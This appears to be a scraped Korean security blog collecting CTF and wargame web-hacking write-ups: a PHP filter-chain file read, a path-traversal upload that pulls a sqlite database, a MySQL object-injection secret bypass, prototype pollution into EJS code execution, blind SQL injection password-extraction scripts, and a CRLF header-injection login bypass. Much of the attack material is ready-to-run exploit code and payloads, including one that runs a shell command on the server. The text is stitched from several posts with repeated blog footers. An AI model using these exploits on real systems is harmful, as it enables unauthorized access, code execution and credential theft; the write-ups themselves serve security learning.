1. Free Flag (Easy)

문제 코드는 간단하다.

<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Free Flag</title>
</head>

<body>

    <?php
    function isRateLimited($limitTime = 1)
    {
        $ipAddress = $_SERVER['REMOTE_ADDR'];
        $filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
        $lastRequestTime = @file_get_contents($filename);

        if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
            return true;
        }

        file_put_contents($filename, time());
        return false;
    }

    if (isset($_POST['file'])) {
        if (isRateLimited()) {
            die("Limited 1 req per second");
        }
        $file = $_POST['file'];
        if (substr(file_get_contents($file), 0, 5) !== "<?php" && substr(file_get_contents($file), 0, 5) !== "<html") # i will let you only read my source haha
        {
            die("catched");
        } else {
            echo file_get_contents($file);
        }
    }
    ?>
</body>

</html>

간단히 file_get_contents() 에 받은 인자를 넘겨주고 그 내용이 <?php 또는 <html로 시작하지 않으면 필터링을 하는 코드이다.

처음 접근은 file_get_contents를 3번 호출하므로 서버를 만들어 1~2번째 요청은 <html 을 반환하고, 세번째 요청은 file:///etc/passwd 로 Redirect 하게 하였으나, 작동하지 않았다.

게다가 문제 서버에선 외부로 요청을 보낼 수 없었다.

하지만 file_get_contents는 php 스키마를 사용하여 특정 작업을 수행할 수 있다. 예를 들어 php://filter/$filters/resource=file:///etc/passwd 이러한 URL을 만들면 /etc/passwd에서 파일을 가져온 뒤 처리하는데 여기에 넣을 수 있는 필터들을 응용하여 <?php 문자열을 앞에 붙여주면 풀 수 있다.

https://github.com/synacktiv/php_filter_chain_generator

 

GitHub - synacktiv/php_filter_chain_generator

Contribute to synacktiv/php_filter_chain_generator development by creating an account on GitHub.

github.com

이러한 코드를 생성해주는 코드가 깃헙에 있기 때문에 이러한 것을 이용하면 풀 수 있다.

유의할 점으로는 <?php 문자열과 파일의 내용을 base64로 만들고, 둘이 단순히 붙이기 때문에, <?php 문자열이나 <html 문자열은 입력 길이가 3으로 나누어 떨어지지 않기 때문에 임의의 글자 하나를 붙여줘야 제대로 출력된다.

 

익스플로잇 코드

더보기

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=file:///flag.txt2. Watermelon

 

2. Watermelon (Easy)

대회에 나온 웹해킹 문제중에 가장 쉬운 난이도를 갖고 있다.

전체 코드

더보기
from flask import Flask, request, jsonify, session, send_file
from functools import wraps
from flask_sqlalchemy import SQLAlchemy
import os, secrets
from werkzeug.utils import secure_filename



app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db' 
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SECRET_KEY'] = secrets.token_hex(20)
app.config['UPLOAD_FOLDER'] = 'files'


db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(120), nullable=False)

class File(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    filename = db.Column(db.String(255), nullable=False)
    filepath = db.Column(db.String(255), nullable=False)
    uploaded_at = db.Column(db.DateTime, nullable=False, default=db.func.current_timestamp())
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

    user = db.relationship('User', backref=db.backref('files', lazy=True))


def create_admin_user():
    admin_user = User.query.filter_by(username='admin').first()
    if not admin_user:
        admin_user = User(username='admin', password= secrets.token_hex(20))
        db.session.add(admin_user)
        db.session.commit()
        print("Admin user created.")
    else:
        print("Admin user already exists.")

with app.app_context():
    db.create_all()
    create_admin_user()

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session:
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function


def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function

@app.route('/')
def index():
    return 'Welcome to my file sharing API'

@app.post("/register")
def register():
    if not request.json or not "username" in request.json or not "password" in request.json:
        return jsonify({"Error": "Please fill all fields"}), 400
    
    username = request.json['username']
    password = request.json['password']

    if User.query.filter_by(username=username).first():
        return jsonify({"Error": "Username already exists"}), 409

    new_user = User(username=username, password=password)
    db.session.add(new_user)
    db.session.commit()

    return jsonify({"Message": "User registered successfully"}), 201

@app.post("/login")
def login():
    if not request.json or not "username" in request.json or not "password" in request.json:
        return jsonify({"Error": "Please fill all fields"}), 400
    
    username = request.json['username']
    password = request.json['password']

    user = User.query.filter_by(username=username, password=password).first()
    if not user:
        return jsonify({"Error": "Invalid username or password"}), 401
    
    session['user_id'] = user.id
    session['username'] = user.username
    return jsonify({"Message": "Login successful"}), 200

@app.get('/profile')
@login_required
def profile():
    return jsonify({"username": session['username'], "user_id": session['user_id']})

@app.get('/files')
@login_required
def list_files():
    user_id = session.get('user_id')
    files = File.query.filter_by(user_id=user_id).all()
    file_list = [{"id": file.id, "filename": file.filename, "filepath": file.filepath, "uploaded_at": file.uploaded_at} for file in files]
    return jsonify({"files": file_list}), 200


@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
    if 'file' not in request.files:
        return jsonify({"Error": "No file part"}), 400
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({"Error": "No selected file"}), 400
    
    user_id = session.get('user_id')
    if file:
        blocked = ["proc", "self", "environ", "env"]
        filename = file.filename

        if filename in blocked:
            return jsonify({"Error":"Why?"})

        user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
        os.makedirs(user_dir, exist_ok=True)
        

        file_path = os.path.join(user_dir, filename)

        file.save(f"{user_dir}/{secure_filename(filename)}")
        

        new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
        db.session.add(new_file)
        db.session.commit()
        
        return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201

    return jsonify({"Error": "File upload failed"}), 500

@app.route("/file/<int:file_id>", methods=["GET"])
@login_required  
def view_file(file_id):
    user_id = session.get('user_id')
    file = File.query.filter_by(id=file_id, user_id=user_id).first()

    if file is None:
        return jsonify({"Error": "File not found or unauthorized access"}), 404
    
    try:
        return send_file(file.filepath, as_attachment=True)
    except Exception as e:
        return jsonify({"Error": str(e)}), 500


@app.get('/admin')
@admin_required
def admin():
    return os.getenv("FLAG","BHFlagY{testing_flag}")



if __name__ == '__main__':
    app.run(host='0.0.0.0')

일단 파일을 업로드 할 때에 파일을 저장하거나, 파일 이름을 저장할 때에는 secure_filename 함수를 통해 escape 하는데, 파일 경로를 저장할 때에는 escape 코드가 없다.

        file_path = os.path.join(user_dir, filename)

        file.save(f"{user_dir}/{secure_filename(filename)}")
        

        new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)

이를 통해 원하는 경로에 있는 파일을 읽을 수 있다.

이제 플래그를 찾아야 하는데, 플래그가 포함된 파일은 모두 .dockerignore를 통해 제외되어 있다.

하지만 /admin 경로에 접근하면 플래그를 제공해준다. 이를 통해 admin 계정의 비밀번호를 얻으면 문제를 풀 수 있다.

데이터베이스를 sqlite를 쓰고 있고, 우리는 원하는 경로의 파일을 읽을 수 있기 때문에, 이를 통하여 sqlite db 파일을 읽을 수 있다.

유의할 점으로는 db가 같은 경로가 아니라 instance/db.db 경로에 저장되어 있고, 이는 도커를 직접 켜서 확인해 볼 수 있다.

sqlite 파일을 다운로드 했다면, db를 열고 어드민의 비밀번호를 확인하여 로그인하면 된다.

익스플로잇 코드

더보기
const formdata = new FormData();
formdata.append("file", fileInput.files[0], "../../../../../app/instance/db.db");

const requestOptions = {
  method: "POST",
  body: formdata,
  redirect: "follow"
};

fetch("http://a7fb0e77002823ad8b10d.playat.flagyard.com/upload", requestOptions)
  .then((response) => response.text())
  .then((result) => console.log(result))
  .catch((error) => console.error(error));

 

3. Notey (Medium)

전체 코드

더보기

database.js

const mysql = require('mysql');
const crypto=require('crypto');


const pool = mysql.createPool({
  host: '127.0.0.1',
  user: 'ctf',
  password: 'ctf123',
  database: 'CTF',
  waitForConnections: true,
  connectionLimit: 10,
  queueLimit: 0
});

// One liner to wait a second
async function wait() {
  await new Promise(r => setTimeout(r, 1000));
}

function insertAdminUserOnce(callback) {
  const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
  const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';
  const username = 'admin';
  const password = crypto.randomBytes(32).toString("hex");

  pool.query(checkUserQuery, [username], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }

    const userCount = results[0].count;

    if (userCount === 0) {
      pool.query(insertUserQuery, [username, password], (err, results) => {
        if (err) {
          console.error('Error executing query:', err);
          callback(err, null);
          return;
        }
        console.log(`Admin user inserted successfully with this passwored ${password}.`);
        callback(null, results);
      });
    } else {
      console.log('Admin user already exists. No insertion needed.');
      callback(null, null);
    }
  });
}

function insertAdminNoteOnce(callback) {
  const checkNoteQuery = 'SELECT COUNT(*) AS count FROM notes WHERE username = "admin"';
  const insertNoteQuery = 'INSERT INTO notes(username,note,secret)values(?,?,?)';
  const flag = process.env.DYN_FLAG || "placeholder";
  const secret = crypto.randomBytes(32).toString("hex");

  pool.query(checkNoteQuery, [], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }

    const NoteCount = results[0].count;

    if (NoteCount === 0) {
      pool.query(insertNoteQuery, ["admin", flag, secret], (err, results) => {
        if (err) {
          console.error('Error executing query:', err);
          callback(err, null);
          return;
        }
        console.log(`Admin Note inserted successfully with this secret ${secret}`);
        callback(null, results);
      });
    } else {
      console.log('Admin Note already exists. No insertion needed.');
      callback(null, null);
    }
  });
}


function login_user(username,password,callback){

  const query = 'Select * from users where username = ? and password = ?';
  
  pool.query(query, [username,password], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

function register_user(username, password, callback) {
  const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
  const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';

  pool.query(checkUserQuery, [username], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }

    const userCount = results[0].count;

    if (userCount === 0) {
      pool.query(insertUserQuery, [username, password], (err, results) => {
        if (err) {
          console.error('Error executing query:', err);
          callback(err, null);
          return;
        }
        console.log('User registered successfully.');
        callback(null, results);
      });
    } else {
      console.log('Username already exists.');
      callback(null, null);
    }
  });
}


function getNotesByUsername(username, callback) {
  const query = 'SELECT note_id,username,note FROM notes WHERE username = ?';
  pool.query(query, [username], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

function getNoteById(noteId, secret, callback) {
  const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
  console.log(noteId,secret);
  pool.query(query, [noteId,secret], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

function addNote(username, content, secret, callback) {
  const query = 'Insert into notes(username,secret,note)values(?,?,?)';
  pool.query(query, [username, secret, content], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}


module.exports = {
  getNotesByUsername, login_user, register_user, getNoteById, addNote, wait, insertAdminNoteOnce, insertAdminUserOnce
};

index.js

const express = require('express');
const bodyParser = require('body-parser');
const crypto=require('crypto');
var session = require('express-session');
const db = require('./database');
const middleware = require('./middlewares');

const app = express();


app.use(bodyParser.urlencoded({
extended: true
}))

app.use(session({
    secret: crypto.randomBytes(32).toString("hex"),
    resave: true,
    saveUninitialized: true
}));



app.get('/',(req,res)=>{
    res.send("Welcome")
})

app.get('/profile', middleware.auth, (req, res) => {
    const username = req.session.username;

    db.getNotesByUsername(username, (err, notes) => {
    if (err) {
        return res.status(500).json({ error: 'Internal Server Error' });
    }
    res.json(notes);
    });
});

app.get('/viewNote', middleware.auth, (req, res) => {
    const { note_id,note_secret } = req.query;

    if (note_id && note_secret){
        db.getNoteById(note_id, note_secret, (err, notes) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
            return res.json(notes);
        });
    }
    else
    {
        return res.status(400).json({"Error":"Missing required data"});
    }
});


app.post('/addNote', middleware.auth, middleware.addNote, (req, res) => {
    const { content, note_secret } = req.body;
        db.addNote(req.session.username, content, note_secret, (err, results) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
    
            if (results) {
            return res.json({ message: 'Note added successful' });
            } else {
            return res.status(409).json({ error: 'Something went wrong' });
            }
        });
});


app.post('/login', middleware.login, (req, res) => {
const { username, password } = req.body;

    db.login_user(username, password, (err, results) => {
        if (err) {
        console.log(err);
        return res.status(500).json({ error: 'Internal Server Error' });
        }

        if (results.length > 0) {
        req.session.username = username;
        return res.json({ message: 'Login successful' });
        } else {
        return res.status(401).json({ error: 'Invalid username or password' });
        }
    });
});

app.post('/register', middleware.login, (req, res) => {
const { username, password } = req.body;

    db.register_user(username, password, (err, results) => {
        if (err) {
        return res.status(500).json({ error: 'Internal Server Error' });
        }

        if (results) {
        return res.json({ message: 'Registration successful' });
        } else {
        return res.status(409).json({ error: 'Username already exists' });
        }
    });
});

db.wait().then(() => {
    db.insertAdminUserOnce((err, results) => {
        if (err) {
            console.error('Error:', err);
        } else {
            db.insertAdminNoteOnce((err, results) => {
                if (err) {
                    console.error('Error:', err);
                } else {
                    app.listen(3000, () => {
                        console.log('Server started on http://localhost:3000');
                    });
                }
            });
        }
    });
});

 middleware.js

const auth = (req, res, next) => {
    ssn = req.session
    if (ssn.username) {
        return next();
    } else {
        return res.status(401).send('Authentication required.');
    }
};


const login = (req,res,next) =>{
    const {username,password} = req.body;
    if ( !username || ! password )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof username !== "string" || typeof password !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    next();
}

const addNote = (req,res,next) =>{
    const { content, note_secret } = req.body;
    if ( !content || ! note_secret )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof content !== "string" || typeof note_secret !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    else if( !(content.length > 0 && content.length < 255) ||  !( note_secret.length >=8 && note_secret.length < 255) )
    {
        return res.status(400).send("Wrong data length");
    }
    next();
}

module.exports ={
    auth, login, addNote
};

이 서버에 있는 취약점은, addNote 경로에 대해선 addNote 미들웨어를 통해 파라미터가 string인지 검사하였지만, viewNote에 대해선 검사하지 않아서 쿼리에 원하는 데이터를 넣을 수 있다.

플래그를 얻기 위해서는 서버가 실행될 때 생성되는 어드민 노트를 봐야 한다. 이 노트는 secret이 랜덤이기 때문에,

위 취약점을 이용하여 secret을 우회하여 플래그가 적힌 노트를 읽어야 한다.

app.get("/viewNote", middleware.auth, (req, res) => {
  const { note_id, note_secret } = req.query;

  if (note_id && note_secret) {
    db.getNoteById(note_id, note_secret, (err, notes) => {
      if (err) {
        return res.status(500).json({ error: "Internal Server Error" });
      }
      return res.json(notes);
    });
  } else {
    return res.status(400).json({ Error: "Missing required data" });
  }
});

function getNoteById(noteId, secret, callback) {
  const query =
    "SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?";
  console.log(noteId, secret);
  pool.query(query, [noteId, secret], (err, results) => {
    if (err) {
      console.error("Error executing query:", err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

note_secret에 배열이나 객체를 넣게 되면,

배열

SELECT note_id,username,note FROM notes WHERE note_id = '66' and secret = '1', '2'

객체

SELECT note_id,username,note FROM notes WHERE note_id = '66' and secret = `a` = '1'

이런식으로 해석이 된다. 이를 통하여 키를 secret으로 하고 값을 1로 하게 되면

SELECT note_id,username,note FROM notes WHERE note_id = '66' and secret = `secret` = '1'

이런식으로 우회할 수 있어 관리자의 노트를 볼 수 있다.

관리자의 노트 id는 AUTO_INCREMENT=66 을 통해 66임을 알거나, 직접 노트를 하나 추가해봐서 알 수 있다.

4. Fastest Delivery Service (Hard)

공격은 프로토타입을 통해 ejs 3.1.9까지 있던 취약점을 이용하여 푸는 문제이다.

코드가 많아 주요 코드만 보여주자면

app.post('/address', (req, res) => {
    const { user } = req.session;
    const { addressId, Fulladdress } = req.body;

    if (user && users[user.username]) {
        addresses[user.username][addressId] = Fulladdress;
        users[user.username].address = addressId;
        res.redirect('/login');
    } else {
        res.redirect('/register');
    }
});

로그인 후 주소를 지정할 때 프로토타입 오염을 수행할 수 있으며,

{
    "name": "food-delivery-service",
    "version": "1.0.0",
    "description": "",
    "main": "app.js",
    "scripts": {
      "start": "node app.js"
    },
    "dependencies": {
      "express": "^4.18.2",
      "body-parser": "^1.20.1",
      "ejs":"^3.1.9",
      "express-session":"^1.18.0"
    }
  }

ejs 버전이 ^3.1.9로 되어 있지만, 도커 파일에서 npm ci를 통해 package-lock.json에 있는 패키지 내용대로 설치하므로,

3.1.10버전이 아닌, package-lock.json에 있는 ejs 버전인 3.1.9로 설치된다.

function Template(text, opts) {
  opts = opts || utils.createNullProtoObjWherePossible();
  ...
 }
 
 Template.prototype = {
  ...
  compile: function () {
    ...
    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }
    ...
  }
  ...
}

ejs.js 에 있는 이 코드를 통하여 공격이 가능하다. escapeFn은 별다른 검증 없이 직접 코드에 추가해주며, 이를 위해선 선행 조건으로 opts.client가 truthy value이여야 한다.

프로토타입 공격을 통하여 client: 1, escapeFn: payload 이렇게 설정해주면 바로 공격을 실행할 수 있다.

페이로드

더보기
import requests

host = "http://afa7e436bad357d78723e.playat.flagyard.com"

session = requests.Session()
r = session.post(f'{host}/register', data={
    'username': '__proto__',
    'password': 'asdf',
});

r = session.post(f'{host}/address', data={
    'username': '__proto__',
    'addressId': 'client',
    'Fulladdress': '1',
})

r = session.post(f'{host}/address', data={
    'username': '__proto__',
    'addressId': 'escapeFunction',
    'Fulladdress': '1; throw new Error(process.mainModule.require("child_process").execSync(`cat /tmp/flag*`).toString())',
})
print(r.text)

 

728x90

14

var ul=document.URL;
ul=ul.indexOf(".kr");
ul=ul*30;

= 540

15

https://webhacking.kr/challenge/js-2/?getFlag로 가자

16

keyCode가 124일때 풀린다.

| 를 누르면 풀린다.

17

7809297.1

728x90

'해킹 > writeup' 카테고리의 다른 글

los.rubiya.kr - giant  (0) 2021.08.29
los.rubiya.kr - bugbear  (0) 2021.08.29
los.rubiya.kr - darkknight  (0) 2021.08.29
webhacking.kr - 52  (0) 2021.08.25
dreamhack.io - web-ssrf  (0) 2021.08.25

%20 %09 %0a %0b %0c %0d %a0 /**/

이 중 쓰면 되는데

%20은 스페이스바

%09는 \t(tab)

%0a는 \n(LF Line Feed)

%0b는 버티컬 탭(Vertical Tab)

%0c는 폼 피드(Form Feed)

%0d는 \r(CR Carriage Return)

스페이스바, \t, \n, \r 를 필터링 하고, 1글자로만 써야 하므로 /**/도 쓰면 안된다.

그래서 %0b, %0c를 쓸 수 있다.

728x90

'해킹 > writeup' 카테고리의 다른 글

webhacking.kr - 14, 15, 16, 17  (1) 2021.08.29
los.rubiya.kr - bugbear  (0) 2021.08.29
los.rubiya.kr - darkknight  (0) 2021.08.29
webhacking.kr - 52  (0) 2021.08.25
dreamhack.io - web-ssrf  (0) 2021.08.25
import requests

pw = ""
cookie = {"PHPSESSID": "bs5vokabo2qae2ome4934v09gr"}
page = "bugbear_19ebf8c8106a5323825b5dfa1b07ac1f"
code = '0||id%0ain%0a("admin")'

space = '%0a'
andsign = '%26%26'
equal = 'in'
_substr = 'mid'
_ascii = 'ord'

length = 0

print("find length")
for i in range(1, 32):
    url = f"https://los.rubiya.kr/chall/{page}.php?no=" + \
        f'{code}{space}{andsign}{space}length(pw){space}{equal}{space}({str(i)})'
    print(url)
    res = requests.get(url, cookies=cookie)
    if "Hello admin" in res.text:
        length = i
        print(i)
        break;

print("find password")
for i in range(1, length + 1):
    for j in range(32, 128):
        ch = chr(j).replace('"', '\\"')
        url = f"https://los.rubiya.kr/chall/{page}.php?no=" + \
            f'{code}{space}{andsign}{space}{_substr}(pw,{str(i)},1){space}{equal}{space}("{ch}")'
        print(url)
        res = requests.get(url, cookies=cookie)
        if "Hello admin" in res.text:
            pw += chr(j)
            print(pw)
            break

ord 빼버리고 그냥 문자열이랑 비교하고

비교는 in 으로 하고,

스페이스바는 \n 개행으로 하고

and와 or은 &&와 ||로 쓴다.

728x90

'해킹 > writeup' 카테고리의 다른 글

webhacking.kr - 14, 15, 16, 17  (1) 2021.08.29
los.rubiya.kr - giant  (0) 2021.08.29
los.rubiya.kr - darkknight  (0) 2021.08.29
webhacking.kr - 52  (0) 2021.08.25
dreamhack.io - web-ssrf  (0) 2021.08.25
import requests

pw = ""
cookie = {"PHPSESSID": "bs5vokabo2qae2ome4934v09gr"}
page = "darkknight_5cfbc71e68e09f1b039a8204d1a81456"
code = '0 or id like "admin"'

andsign = 'and'
equal = 'like'
_substr = 'mid'
_ascii = 'ord'

length = 0

print("find length")
for i in range(1, 32):
    url = f"https://los.rubiya.kr/chall/{page}.php?no=" + \
        f'{code} {andsign} length(pw) {equal} {str(i)}'
    print(url)
    res = requests.get(url, cookies=cookie)
    if "Hello admin" in res.text:
        length = i
        print(i)
        break;

print("find password")
for i in range(1, length + 1):
    for j in range(32, 128):
        url = f"https://los.rubiya.kr/chall/{page}.php?no=" + \
            f'{code} {andsign} {_ascii}({_substr}(pw,{str(i)},1)) {equal} {str(j)}'
        res = requests.get(url, cookies=cookie)
        if "Hello admin" in res.text:
            pw += chr(j)
            print(pw)
            break

substr은 mid 쓰고 ascii는 ord 쓰고, =는 like 쓰면 풀린다.

728x90

'해킹 > writeup' 카테고리의 다른 글

los.rubiya.kr - giant  (0) 2021.08.29
los.rubiya.kr - bugbear  (0) 2021.08.29
webhacking.kr - 52  (0) 2021.08.25
dreamhack.io - web-ssrf  (0) 2021.08.25
rubiya - golem  (0) 2021.08.18

admin 페이지에서 로그인 취소하고 view source를 클릭하면 소스를 볼 수 있는데

<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
  $_SESSION['login']="";
  exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
  echo "hi {$_SESSION['login']}<br>";
  if($_SESSION['login'] == "admin"){
    if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
    else echo "Only access from virtual IP address";
  }
  else echo "You are not admin";
  echo "<br><a href=./?logout=1>[logout]</a>";
  exit;
}
if(!$_SESSION['login']){
  if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
  }
  if($_SERVER['PHP_AUTH_USER']){
    $id = $_SERVER['PHP_AUTH_USER'];
    $pw = $_SERVER['PHP_AUTH_PW'];
    $pw = md5($pw);
    $db = dbconnect();
    $query = "select id from member where id='{$id}' and pw='{$pw}'";
    $result = mysqli_fetch_array(mysqli_query($db,$query));
    if($result['id']){
      $_SESSION['login'] = $result['id'];
      exit("<script>location.href='./';</script>");
    }
  }
  if(!$_SESSION['login']){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo "Login Fail";
  }
}
?>

sql injection이 가능하고, login페이지는 admin으로 로그인 했을때 내부 아이피이면 플래그를 출력하고 아니면 Only access from virtual IP address 를 띄운다.

 

일단 admin'-- - 를 이용하여 admin으로 로그인을 해보면

내부 아이피로 접속해야 한다.

프록시 페이지에서 요청을 보낼 수 있다. 근데 path 만 넣을 수 있는데 캐니지 리턴을 이용해서 데이터를 조작할 수 있다.

/ HTTP/1.1\nA:

를 하게 되면

GET / HTTP/1.1

A: HTTP/1.1

Host: webhacking.kr:10008

Connection: Close

가 될 것이다.

이걸 이용해

요청 헤더에 Authorization: Basic YWRtaW4nLS0gLTo= 를 넣고 admin 페이지로 접속시킬 것이다.

/admin/ HTTP/1.1%0d%0aCookie: PHPSESSID=47bcmmnalsgr0onf8vh1bg86ot%0d%0aAuthorization: Basic YWRtaW4nLS0gLTo=%0d%0aA:

 

플래그가 나온다.

728x90

'해킹 > writeup' 카테고리의 다른 글

los.rubiya.kr - bugbear  (0) 2021.08.29
los.rubiya.kr - darkknight  (0) 2021.08.29
dreamhack.io - web-ssrf  (0) 2021.08.25
rubiya - golem  (0) 2021.08.18
rubiya - skeleton  (0) 2021.08.18

블라인드 sql을 해야 하는데 or과 and는 ||와 &&를 쓰면 되고, =와 substr이 막혀있다.

=는 like를 대신 쓰면 되고, substr은 mid를 대신 쓰면 된다.

"?pw='||id like 'admin' %26%26 ascii(mid(pw,"+str(i)+",1)) like "+str(j)+"-- -"

 

import requests

pw = ""
cookie = {"PHPSESSID": "49jle25ne50oqi47t3s3klmn0e"}
page = "golem_4b5202cfedd8160e73124b5234235ef5"

for i in range(1, 9):
    for j in range(32, 128):
        url = "https://los.rubiya.kr/chall/"+page+".php?pw=' || id like 'admin' %26%26 ascii(mid(pw,"+str(i)+",1)) like "+str(j)+"-- -"
        res = requests.get(url, cookies=cookie)
        if "Hello admin" in res.text:
            pw += chr(j)
            print(pw)
            break;

77d6290b 인걸 알 수 있다.

728x90

'해킹 > writeup' 카테고리의 다른 글

webhacking.kr - 52  (0) 2021.08.25
dreamhack.io - web-ssrf  (0) 2021.08.25
rubiya - skeleton  (0) 2021.08.18
rubiya - vampire  (0) 2021.08.18
dreamhack.io - simple_sqli  (0) 2021.08.18

+ Recent posts